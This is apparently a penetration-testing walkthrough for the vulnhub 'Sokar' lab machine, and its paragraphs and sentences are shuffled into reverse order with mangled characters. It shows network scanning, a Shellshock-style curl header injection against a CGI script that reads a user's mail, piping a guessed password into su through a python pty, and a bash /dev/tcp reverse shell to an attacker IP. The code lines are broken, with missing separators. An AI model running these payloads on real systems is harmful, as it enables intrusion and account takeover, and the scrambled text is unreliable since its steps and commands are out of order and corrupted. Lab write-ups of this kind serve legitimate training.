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Now let's add the challenge-proven method of using the /dev/tcp trick to open a reverse shell and also add the full path to the used binaries: (/bin/sleep 1 /bin/echo fruity ) | /usr/bin/python -c 'import pty pty.spawn() ' (sleep 1 echo user2_password ) | python -c 'import pty pty.spawn()' Let' fix the timing by adding a 'sleep 1' to the 'echo user_password2' and put both in parentheses, creating a subshell for detaching it from the spawned pty.

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Now it seems like there is some timing issue - the password is printed before the 'Password:' prompt Spawning a pty and executing the 'su' command in it is necessary to compensate for the 'must be run from a terminal' problem: echo user2_password | python -c 'import pty pty.spawn()' Piping the password does not work due to tty 'issues'. Let's analyze it one at a time, using some other Linux machine: $ echo user2_password | su user2 -c id Not really! While in fact the commands above illustrate what needs to be done, they do not work that way. This should be as easy as something like this, would it not? :-) echo fruity | su bynarr -c /bin/bash -i > & /dev/tcp/172.16.20.111/51242 0> &1

So, for a reverse shell we need to switch user and use the port 51242 for the outgoing connection. User 'bynarr' might have the password 'fruity'.User 'bynarr' might be able to initiate outbound TCP connections on port 51242.Outbound network connections are restricted.Should you require, you 've been granted outbound ephemeral port access on 51242, to transfer non-sensitive forensic dumps out for analysis. Trying it out: curl -H 'User-Agent: () echo Content-type: text/plain echo echo /bin/cat /var/mail/bynarr' ĭear Bynarr. Looks like a web page that is made up of output from different command line tools from a Linux shell ( netstat, uname, df, etc.).Īlso checking the HTML source of the page:Ī CGI script delivers the HTML output and is included in the page via iframe.ĬGI. Now that we know there is a web application listening on port 591, we can dive into it! Exploiting the first vector - the webserverĬontinuing by checking the webserver listening on port 591 with a browser: There seems to be some type of network restriction in place.

Nmap done: 1 IP address ( 1 host up ) scanned in 21.92 secondsĭoing a port scan for all TCP ports and for the UDP ports as well take forever. Now that we know the address of the machine, we look for open ports: nmap -sS -sV -T4 172.16.20.172 -p1-1023ĥ91/tcp open http Apache httpd 2.2.15 ((CentOS )) MAC Address: 08:00:27:F2:40:DB (Cadmus Computer Systems )

Obtaining network informationĪfter having installed the virtual machine, the IP address of the victim machine needs to be found out: nmap -sP 172.16.20.0/24 Via DHCP, the Sokar 1 machine will obtain an IP address from within the subnet of 172.16.20.0/24. The attacker system has an IP address of 172.16.20.111 and the victim system 'Sokar' will be configured to have a network interface in the same segment as the attacker. In this walkthrough the attacker machine will be a Kali Linux system that is a virtual machine.

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This Walkthrough is also available as a PDF at Walkthrough for Sokar - Emre - v1.00.pdf First details Cheers to rasta_mouse, to vulnhub and the vulnhub community for providing these opportunities to learn and have fun at the same ! :-)

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